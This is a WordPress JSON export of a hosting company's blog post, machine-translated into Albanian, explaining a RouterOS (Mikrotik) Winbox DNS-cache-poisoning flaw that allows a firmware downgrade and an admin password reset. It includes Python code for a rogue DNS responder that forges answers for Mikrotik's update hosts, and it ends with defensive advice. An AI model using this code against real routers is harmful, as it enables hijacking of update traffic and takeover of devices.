{"id":39604,"date":"2019-10-31T22:36:42","date_gmt":"2019-10-31T19:36:42","guid":{"rendered":"https:\/\/prohoster.info\/blog\/backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv\/"},"modified":"2019-10-31T22:36:42","modified_gmt":"2019-10-31T19:36:42","slug":"backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sq\/blog\/administrirovanie\/backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv","title":{"rendered":"Backport vulnerabiliteti n\u00eb RouterOS k\u00ebrc\u00ebnon qindra mij\u00ebra pajisje","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

\"Backport
\n
\nMund\u00ebsia p\u00ebr t\u00eb ulur pajisjet q\u00eb bazohen n\u00eb RouterOS (Mikrotik) rrezikon qindra mij\u00ebra pajisje rrjeti. Kjo dob\u00ebsi lidhet me helmimin e caches DNS t\u00eb protokollit Winbox dhe lejon ngarkimin e nj\u00eb firmware t\u00eb vjetruar (me rivendosjen e fjal\u00ebkalimit 'default') ose t\u00eb modifikuar n\u00eb pajisje.
\n<\/a><\/noindex>
\n\"Backport
\n<\/p>\n

Detajet e dob\u00ebsis\u00eb<\/h3>\n

\nTerminali RouterOS mb\u00ebshtet komand\u00ebn e zgjidhjes p\u00ebr t\u00eb k\u00ebrkuar DNS.<\/p>\n

\"Backport
\n
\nKjo k\u00ebrkes\u00eb trajtohet nga nj\u00eb skedar binar me emrin resolver. Resolver \u00ebsht\u00eb nj\u00eb nga shum\u00eb skedar\u00eb binar\u00eb q\u00eb lidhen me protokollin Winbox n\u00eb RouterOS. N\u00eb nj\u00eb nivel t\u00eb lart\u00eb, 'mesazhet' q\u00eb d\u00ebrgohen n\u00eb portin Winbox mund t\u00eb ruterizohen n\u00eb skedar\u00eb t\u00eb ndrysh\u00ebm binar\u00eb n\u00eb RouterOS bazuar n\u00eb nj\u00eb sistem num\u00ebrimi t\u00eb bazuar n\u00eb array.<\/p>\n

N\u00eb m\u00ebnyr\u00eb t\u00eb parazgjedhur, funksioni i serverit DNS n\u00eb RouterOS \u00ebsht\u00eb i \u00e7aktivizuar.<\/p>\n

\"Backport
\n
\nMegjithat\u00eb, edhe kur funksioni i serverit \u00ebsht\u00eb i \u00e7aktivizuar, routeri ruan caches DNS t\u00eb vetat.<\/p>\n

\"Backport
\n
\nKur b\u00ebjm\u00eb nj\u00eb k\u00ebrkes\u00eb duke p\u00ebrdorur winbox_dns_request, p\u00ebr shembull, example.com, routeri do t\u00eb ruaj\u00eb rezultatin.<\/p>\n

\"Backport
\n
\nPasja e mund\u00ebsis\u00eb p\u00ebr t\u00eb specifikuar nj\u00eb server DNS p\u00ebr t\u00eb kaluar k\u00ebrkes\u00ebn e b\u00ebn leht\u00ebsisht t\u00eb mundshme futjen e adresave t\u00eb gabuara. P\u00ebr shembull, mund t\u00eb konfigurohet nj\u00eb implementim t\u00eb serverit DNS nga Filip Kraus<\/a><\/noindex>, p\u00ebr t\u00eb p\u00ebrgjigjur gjithmon\u00eb me nj\u00eb p\u00ebrgjigje A q\u00eb p\u00ebrmban adres\u00ebn IP 192.168.88.250.<\/p>\n

def dns_response(data):\n    request = DNSRecord.parse(data)\n    reply = DNSRecord(DNSHeader(\n        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)\n    qname = request.q.qname\n    qn = str(qname)\n    reply.add_answer(RR(qn,ttl=30,rdata=A(\"192.168.88.250\")))\n    print(\"---- P\u00ebrgjigje:n\", reply)\n    return reply.pack()<\/code><\/pre>\n
\nTani, kur t\u00eb k\u00ebrkoni example.com me Winbox, mund t\u00eb shihni se cache DNS i router-it \u00ebsht\u00eb i helmuar.<\/p>\n
\"Backport
\n
\nSigurisht, helmimi i example.com nuk \u00ebsht\u00eb shum\u00eb i dobish\u00ebm, pasi router-i n\u00eb realitat nuk do ta p\u00ebrdor\u00eb at\u00eb. Megjithat\u00eb, router-i ka nevoj\u00eb t\u00eb lidhet me upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com dhe download.mikrotik.com. Dhe p\u00ebr shkak t\u00eb nj\u00eb tjet\u00ebr gabimi, ka mund\u00ebsin\u00eb p\u00ebr ta helmuar t\u00eb gjitha nj\u00ebher\u00ebsh.<\/p>\n
def dns_response(data):\n    request = DNSRecord.parse(data)\n    reply = DNSRecord(DNSHeader(\n        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)\n    qname = request.q.qname\n    qn = str(qname)\n    reply.add_answer(RR(qn,ttl=30,rdata=A(\"192.168.88.250\")))\n    reply.add_answer(RR(\"upgrade.mikrotik.com\",ttl=604800,\n        rdata=A(\"192.168.88.250\")))\n    reply.add_answer(RR(\"cloud.mikrotik.com\",ttl=604800,\n        rdata=A(\"192.168.88.250\")))\n    reply.add_answer(RR(\"cloud2.mikrotik.com\",ttl=604800,\n        rdata=A(\"192.168.88.250\")))\n    reply.add_answer(RR(\"download.mikrotik.com\",ttl=604800,\n        rdata=A(\"192.168.88.250\")))\n    print(\"---- P\u00ebrgjigje:n\", reply)\n    return reply.pack()<\/code><\/pre>\n
\nRuteri k\u00ebrkon nj\u00eb autorizim, nd\u00ebrsa ne ofrojm\u00eb pes\u00eb p\u00ebrgjigje. Ruteri keqkthen t\u00eb gjitha k\u00ebto p\u00ebrgjigje.<\/p>\n
\"Backport
\n
\n\u00c8sht\u00eb e qart\u00eb se kjo sulm \u00ebsht\u00eb gjithashtu e dobishme n\u00ebse ruteri vepron si nj\u00eb server DNS, pasi lejon sulmin ndaj klient\u00ebve t\u00eb routerit.<\/p>\n
Po ashtu, kjo sulm lejon shfryt\u00ebzimin e nj\u00eb dob\u00ebsie m\u00eb serioze: p\u00ebr t\u00eb b\u00ebr\u00eb downgrade ose backport t\u00eb versionit RouterOS. Sulmuesi riprodhon logjik\u00ebn e serverit t\u00eb p\u00ebrdit\u00ebsimeve, duke p\u00ebrfshir\u00eb changelog dhe e b\u00ebn RouterOS t\u00eb perceptoj\u00eb versionin e vjetruar (t\u00eb dob\u00ebt) si aktual. Rreziku k\u00ebtu q\u00ebndron se, gjat\u00eb 'p\u00ebrdit\u00ebsimit' t\u00eb versionit, fjal\u00ebkalimi i administratorit zbret n\u00eb vler\u00ebn e 'default' - sulmuesi mund t\u00eb hyj\u00eb n\u00eb sistem me nj\u00eb fjal\u00ebkalim bosh!<\/p>\n
\r\n        \"Luaj\r\n        
<\/div>\r\n    <\/div><\/center>
\nSulmi \u00ebsht\u00eb plot\u00ebsisht funksional, megjithat\u00eb autori<\/a><\/noindex> implementon disa vektor\u00eb t\u00eb tjer\u00eb, q\u00eb lidhen gjithashtu me integresionin e nj\u00eb backdoor n\u00eb firmware<\/a><\/noindex>, por kjo \u00ebsht\u00eb nj\u00eb teknik\u00eb t\u00ebr\u00ebsisht e tepruar dhe aplikimi i saj n\u00eb q\u00ebllime t\u00eb paligjshme \u00ebsht\u00eb i jasht\u00ebligjsh\u00ebm.<\/p>\n
Mbrojtja<\/h3>\n
\nThjesht \u00e7aktivizimi i Winbox mund\u00ebson mbrojtje nga k\u00ebto sulme. Megjith\u00ebse administrimi p\u00ebrmes Winbox \u00ebsht\u00eb i p\u00ebrshtatsh\u00ebm, \u00ebsht\u00eb m\u00eb mir\u00eb t\u00eb p\u00ebrdoret protokolli SSH.
\n
Burimi: habr.com<\/a><\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"
\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u0430\u0443\u043d\u0433\u0440\u0435\u0439\u0434\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043d\u0430 \u0431\u0430\u0437\u0435 RouterOS (Mikrotik) \u0441\u0442\u0430\u0432\u0438\u0442 \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u0443 \u0441\u043e\u0442\u043d\u0438 \u0442\u044b\u0441\u044f\u0447 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043e\u0442\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c DNS-\u043a\u0435\u0448\u0430 Winbox \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0443\u044e (\u0441\u043e \u0441\u0431\u0440\u043e\u0441\u043e\u043c \u043f\u0430\u0440\u043e\u043b\u044f \u00ab\u043f\u043e-\u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e\u00bb) \u0438\u043b\u0438 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e. \u0414\u0435\u0442\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0422\u0435\u0440\u043c\u0438\u043d\u0430\u043b RouterOS \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 DNS. \u042d\u0442\u043e\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0434\u0432\u043e\u0438\u0447\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u043e\u043c \u0441 \u0438\u043c\u0435\u043d\u0435\u043c resolver. Resolver \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":39605,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[688],"tags":[],"class_list":["post-39604","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administrirovanie"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Vulnerabiliteti Backport n\u00eb RouterOS v\u00eb n\u00eb rrezik qindra mij\u00ebra pajisje | ProHoster","description":"Mund\u00ebsia p\u00ebr t\u00eb b\u00ebr\u00eb downgrading t\u00eb pajisjeve t\u00eb bazuara n\u00eb RouterOS (Mikrotik) v\u00eb n\u00eb rrezik qindra mij\u00ebra pajisje rrjetesh. Vulnerabiliteti \u00ebsht\u00eb i lidhur me helmimin e cache-t DNS t\u00eb protokollit Winbox dhe lejon ngarkimin e nj\u00eb firmware-i t\u00eb vjet\u00ebruar (me rinovimin e fjal\u00ebkalimit \"si\u00e7 \u00ebsht\u00eb\") ose t\u00eb modifikuar n\u00eb pajisje. Detajet e vulnerabilitetit Terminali i RouterOS mb\u00ebshtet komand\u00ebn e zgjidhjes p\u00ebr t\u00eb k\u00ebrkuar DNS. Ky k\u00ebrkes\u00eb p\u00ebrpunon nj\u00eb skedar binar t\u00eb quajtur resolver. Resolver \u00ebsht\u00eb","canonical_url":"https:\/\/prohoster.info\/sq\/blog\/administrirovanie\/backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"sq_AL","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47Backport \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 RouterOS \u0441\u0442\u0430\u0432\u0438\u0442 \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u0443 \u0441\u043e\u0442\u043d\u0438 \u0442\u044b\u0441\u044f\u0447 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 | ProHoster","og:description":"\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u0430\u0443\u043d\u0433\u0440\u0435\u0439\u0434\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043d\u0430 \u0431\u0430\u0437\u0435 RouterOS (Mikrotik) \u0441\u0442\u0430\u0432\u0438\u0442 \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u0443 \u0441\u043e\u0442\u043d\u0438 \u0442\u044b\u0441\u044f\u0447 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043e\u0442\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c DNS-\u043a\u0435\u0448\u0430 Winbox \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0443\u044e (\u0441\u043e \u0441\u0431\u0440\u043e\u0441\u043e\u043c \u043f\u0430\u0440\u043e\u043b\u044f \u00ab\u043f\u043e-\u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e\u00bb) \u0438\u043b\u0438 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e. \u0414\u0435\u0442\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0422\u0435\u0440\u043c\u0438\u043d\u0430\u043b RouterOS \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 DNS. \u042d\u0442\u043e\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0434\u0432\u043e\u0438\u0447\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u043e\u043c \u0441 \u0438\u043c\u0435\u043d\u0435\u043c resolver. Resolver \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f","og:url":"https:\/\/prohoster.info\/sq\/blog\/administrirovanie\/backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2019-10-31T19:36:42+00:00","article:modified_time":"2019-10-31T19:36:42+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"39604","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":"2026-01-24 02:24:21","breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-03-01 00:47:24","updated":"2026-01-24 02:24:21"},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/39604","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/comments?post=39604"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/39604\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/media\/39605"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/media?parent=39604"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/categories?post=39604"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/tags?post=39604"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}